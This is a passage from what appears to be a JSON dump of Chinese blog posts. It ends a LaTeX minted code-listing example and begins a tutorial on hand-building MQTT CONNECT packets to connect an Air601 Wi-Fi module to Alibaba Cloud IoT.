selector\"\u003e\\usepackage\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\title\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e题目114514\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\author\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e康师傅\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\date\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\today\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e%正文区(文稿区)\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\begin\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003edocument\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\maketitle\u003c/span\u003e哼哼嗯啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊\u003cspan class=\"token function selector\"\u003e\\begin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eframe=single, linenos=true\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003epython\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003e\u003e\u003e import numpy as np\u003e\u003e\u003e from scipy import stats\u003e\u003e\u003e x = np.array(\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e61, 70, 69, 63, 75, 62, 70, 66\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e)\u003e\u003e\u003e y = np.array(\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e55, 71, 67, 61, 70, 61, 71, 61\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e)\u003e\u003e\u003e _, p = stats.ttest_1samp(x - y, 0)\u003e\u003e\u003e p0.042982513619168904\u003cspan class=\"token function selector\"\u003e\\end\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\end\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edocument\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果,整挺好:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/install_texlive/test.webp\" alt=\"test\"\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/8e96/"},{"title":"合宙Air601连接阿里云物联网平台-MQTT协议学习","time":"2023-07-22T12:31:10Z","content":"\u003ch1 id=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003ca href=\"#合宙Air601连接阿里云物联网平台-MQTT协议学习\" class=\"headerlink\" title=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003c/a\u003e合宙Air\u003chr /\u003e\u003ch1 id=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003ca href=\"#合宙Air601连接阿里云物联网平台-MQTT协议学习\" class=\"headerlink\" title=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003c/a\u003e合宙Air601连接阿里云物联网平台-MQTT协议学习\u003c/h1\u003e\u003cp\u003e开发板9块9包邮)买来玩玩。\u003c/p\u003e\u003cp\u003e首先赞美一下其他模块有现成AT\u0026#x2F;MQTT固件,因为Air601刚出来不久,现在还没有AT\u0026#x2F;MQTT固件,所以要TCP连接后手搓MQTT协议,就当学习了~\u003c/p\u003e\u003cp\u003e鼓捣了一晚上,记录记录过程~\u003c/p\u003e\u003cp\u003e一些官方介绍:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eAir601-12F 是合宙通信推出的 Wi-Fi - BLE二合一通信模块;\u003cbr\u003eAir601-12F采用合宙Air601芯片平台,支持Wi-Fi 802.11b\u0026#x2F;g\u0026#x2F;n协议,支持BLE 4.2协议;\u003cbr\u003eAir601-12F 兼容业内主流12F封装(SMD-22),板载PCB天线,极致成本,满足小型化低成本需求;\u003cbr\u003eAir601-12F 支持AT指令开发,指令集兼容,可无缝替换。\u003cbr\u003eWi-Fi 安全支持 Wi-Fi WMM\u0026#x2F;WMM-PS\u0026#x2F;WPA\u0026#x2F;WPA2\u0026#x2F;WPS;\u003cbr\u003e支持20\u0026#x2F;40MHz带宽,最高支持150Mbps速率;\u003cbr\u003e支持 Station 、Station + SoftAP 、SoftAP 模式;\u003cbr\u003e支持TLS加密通信,硬件加密模块加速,支持多路TLS连接;\u003cbr\u003e支持fota空中升级;\u003cbr\u003e支持低功耗休眠,休眠电流小于20 μA\u003c/p\u003e\u003cimg src=\"http://images.elecfans.top/uploads/20230717/3902cb10-2457-11ee-962d-dac502259ad0.png\" style=\"zoom: 25%;\" /\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"#准备工作\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"获取AT指令手册\"\u003e\u003ca href=\"#获取AT指令手册\" class=\"headerlink\" title=\"获取AT指令手册\"\u003e\u003c/a\u003e获取AT指令手册\u003c/h3\u003e\u003cp\u003e\u003ca href=\"https://cdn.openluat-luatcommunity.openluat.com/attachment/20230717162214038_%E4%B8%8A%E6%B5%B7%E5%90%88%E5%AE%99WIFI%E6%A8%A1%E7%BB%84(Air601%E7%B3%BB%E5%88%97)AT%E5%91%BD%E4%BB%A4%E6%89%8B%E5%86%8CV1.0.3.pdf\"\u003e上海合宙WIFI模组(Air601系列)AT命令手册V1.0.3.pdf\u003c/a\u003e\u003c/p\u003e\u003cp\u003e因为直接买的开发板,所以开箱即用。使用type-c数据线,通过串口进行操作。\u003c/p\u003e\u003cp\u003e具体指令信息可以参考手册,这里只记录必要过程。\u003c/p\u003e\u003ch3 id=\"连接wifi\"\u003e\u003ca href=\"#连接wifi\" class=\"headerlink\" title=\"连接wifi\"\u003e\u003c/a\u003e连接wifi\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003eAT+CWJAP\u0026#x3D;\u0026quot;WiFi名\u0026quot;,\u0026quot;WiFi密码\u0026quot;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e若返回\u003ccode\u003eWIFI CONNECTED\u003c/code\u003e,则连接成功。\u003c/p\u003e\u003ch3 id=\"阿里云物联网平台创建好设备\"\u003e\u003ca href=\"#阿里云物联网平台创建好设备\" class=\"headerlink\" title=\"阿里云物联网平台创建好设备\"\u003e\u003c/a\u003e阿里云物联网平台创建好设备\u003c/h3\u003e\u003cp\u003e比较简单就不演示了。\u003c/p\u003e\u003ch2 id=\"计算MQTT协议报文内容\"\u003e\u003ca href=\"#计算MQTT协议报文内容\" class=\"headerlink\" title=\"计算MQTT协议报文内容\"\u003e\u003c/a\u003e计算MQTT协议报文内容\u003c/h2\u003e\u003cp\u003eMQTT(消息队列遥测传输)是一个基于客户端-服务器的消息发布\u0026#x2F;订阅传输协议。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"MQTT控制报文\"\u003e\u003ca href=\"#MQTT控制报文\" class=\"headerlink\" title=\"MQTT控制报文\"\u003e\u003c/a\u003eMQTT控制报文\u003c/h3\u003e\u003cp\u003eMQTT控制报文由三部分组成:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e报文部分\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eFixed header\u003c/td\u003e\u003ctd\u003e固定报头,所有控制报文都包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eVariable header\u003c/td\u003e\u003ctd\u003e可变报头,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePayload\u003c/td\u003e\u003ctd\u003e有效载荷,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"CONNECT-报文结构\"\u003e\u003ca href=\"#CONNECT-报文结构\" class=\"headerlink\" title=\"CONNECT 报文结构\"\u003e\u003c/a\u003eCONNECT 报文结构\u003c/h3\u003e\u003cp\u003e建立客户端(Client)到服务端(Server)的网络连接后,客户端发送给服务端的第一个报文必须是 CONNECT 报文(连接到服务端)。\u003cbr\u003e并且在一次连接中,只能发送一次 CONNECT 报文,服务端会将客服端发送的第二个CONNECT报文当做协议违规处理并断开连接。\u003cbr\u003eCONNECT报文结构为:\u003cstrong\u003e固定报头+可变报头+有效载荷。\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"固定报头\"\u003e\u003ca href=\"#固定报头\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h4\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e固定报文格式\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd\u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT控制报文的类型(1)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e其中\u003cstrong\u003e剩余长度\u0026#x3D;可变报头长度+有效载荷长度\u003c/strong\u003e ,这个在最后计算。\u003c/p\u003e\u003ch5 id=\"剩余长度详解\"\u003e\u003ca href=\"#剩余长度详解\" class=\"headerlink\" title=\"剩余长度详解\"\u003e\u003c/a\u003e剩余长度详解\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e从第2个字节开始。\u003c/p\u003e\u003cp\u003e剩余长度(Remaining Length)表示当前报文剩余部分的字节数,包括可变报头和负载的数据。剩余长度不包括用于编码剩余长度字段本身的字节数。\u003c/p\u003e\u003cp\u003e剩余长度字段使用一个变长度编码方案,对小于128的值它使用单字节编码。若剩余长度大于等于128字节,则使用双字节低端编码的方式(低八位 - 高八位),最多使用 4 个字节来表示长度:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e字节数\u003c/th\u003e\u003cth align=\"center\"\u003e最小值\u003c/th\u003e\u003cth align=\"center\"\u003e最大值\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0 (0x00)\u003c/td\u003e\u003ctd align=\"center\"\u003e127 (0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e2\u003c/td\u003e\u003ctd align=\"center\"\u003e128 (0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e16 383 (0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e16 384 (0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 151 (0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e4\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 152 (0x80, 0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e268 435 455 (0xFF, 0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e其中,每个字节的低七位用于编码数据,第八位延续位用于指示是否有更多的字节。因此每个字节可以编码127个数值(0111 1111)和一个延续位。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e例:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e小于128字节时:\u003c/p\u003e\u003cp\u003e剩余长度98个字节(0110 0010)转换成16进制为 0x62。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e大于128字节小于16384字节时\u003c/p\u003e\u003cp\u003e剩余长度300个字节时,按照低八位 - 高八位排列,低八位的最高位为1(延续位)。\u003c/p\u003e\u003cp\u003e300 \u0026#x3D; 1 0010 1100\u003c/p\u003e\u003cp\u003e低八位:1(固定)+300低7位(010 1100) -\u0026gt; 1010 1100\u003c/p\u003e\u003cp\u003e高八位:300低7位前(10) -\u0026gt; 0000 0010\u003c/p\u003e\u003cp\u003e所以剩余长度表示为 AC 02\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/blockquote\u003e\u003ch5 id=\"得到固定报头:\"\u003e\u003ca href=\"#得到固定报头:\" class=\"headerlink\" title=\"得到固定报头:\"\u003e\u003c/a\u003e得到固定报头:\u003c/h5\u003e\u003cp\u003e16进制,后面均为16进制,不再说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e ??\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中\u003ccode\u003e??\u003c/code\u003e为剩余长度,由最后计算获得。\u003c/p\u003e\u003ch4 id=\"可变报头\"\u003e\u003ca href=\"#可变报头\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h4\u003e\u003cp\u003e某些MQTT控制报文包含一个可变报头部分。它在固定报头和负载之间。可变报头的内容根据报文类型的不同而不同。\u003c/p\u003e\u003cp\u003eCONNECT报文的可变报头按下列次序包含四个字段:协议名(Protocol Name),协议级别(Protocol Level),连接标志(Connect Flags)和保持连接(Keep Alive)。\u003c/p\u003e\u003ch5 id=\"协议名-Protocol-Name\"\u003e\u003ca href=\"#协议名-Protocol-Name\" class=\"headerlink\" title=\"协议名 Protocol Name\"\u003e\u003c/a\u003e协议名 Protocol Name\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 1\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 MSB (0)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 2\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 LSB (4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 3\u003c/td\u003e\u003ctd align=\"center\"\u003e‘M’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 4\u003c/td\u003e\u003ctd align=\"center\"\u003e‘Q’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 5\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 6\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e协议名是表示协议名 \u003cem\u003eMQTT\u003c/em\u003e 的UTF-8编码的字符串。MQTT规范的后续版本不会改变这个字符串的偏移和长度。\u003c/p\u003e\u003cp\u003e如果协议名不正确服务端\u003cstrong\u003e可以\u003c/strong\u003e断开客户端的连接,也\u003cstrong\u003e可以\u003c/strong\u003e按照某些其它规范继续处理CONNECT报文。对于后一种情况,按照本规范,服务端\u003cstrong\u003e不能\u003c/strong\u003e继续处理CONNECT报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e数据包检测工具,例如防火墙,可以使用协议名来识别MQTT流量。\u003c/p\u003e\u003c/blockquote\u003e\u003ch5 id=\"协议级别-Protocol-Level\"\u003e\u003ca href=\"#协议级别-Protocol-Level\" class=\"headerlink\" title=\"协议级别 Protocol Level\"\u003e\u003c/a\u003e协议级别 Protocol Level\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 7\u003c/td\u003e\u003ctd align=\"center\"\u003eLevel(4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e客户端用8位的无符号值表示协议的修订版本。对于3.1.1版协议,协议级别字段的值是4(0x04)。如果发现不支持的协议级别,服务端\u003cstrong\u003e必须\u003c/strong\u003e给发送一个返回码为0x01(不支持的协议级别)的CONNACK报文响应CONNECT报文,然后断开客户端的连接。\u003c/p\u003e\u003ch5 id=\"连接标志-Connect-Flags\"\u003e\u003ca href=\"#连接标志-Connect-Flags\" class=\"headerlink\" title=\"连接标志 Connect Flags\"\u003e\u003c/a\u003e连接标志 Connect Flags\u003c/h5\u003e\u003cp\u003e连接标志字节包含一些用于指定MQTT连接行为的参数。它还指出有效载荷中的字段是否存在。\u003c/p\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e连接标志\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e \u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eUser Name Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003ePassword Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eWill Retain\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"2\"\u003e\u003ccenter\u003eWill QoS\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eWill Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eClean Session\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eReserved\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e一共有6个:清理会话 Clean Session,遗嘱标志 Will Flag,遗嘱QoS Will QoS,遗嘱保留 Will Retain,密码标志 Password Flag,用户名标志 User Name Flag。\u003c/p\u003e\u003cp\u003e服务端\u003cstrong\u003e必须\u003c/strong\u003e验证CONNECT控制报文的保留标志位(第0位)是否为0,如果不为0必须断开客户端连接。\u003c/p\u003e\u003cp\u003e各个有效位的具体解释见参考文档\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e一般使用 1100 0010 (用户名、密码、清理会话),转换成16进制为:C2\u003c/strong\u003e\u003c/p\u003e\u003ch5 id=\"保持连接-Keep-Alive\"\u003e\u003ca href=\"#保持连接-Keep-Alive\" class=\"headerlink\" title=\"保持连接 Keep Alive\"\u003e\u003c/a\u003e保持连接 Keep Alive\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003eBit\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth 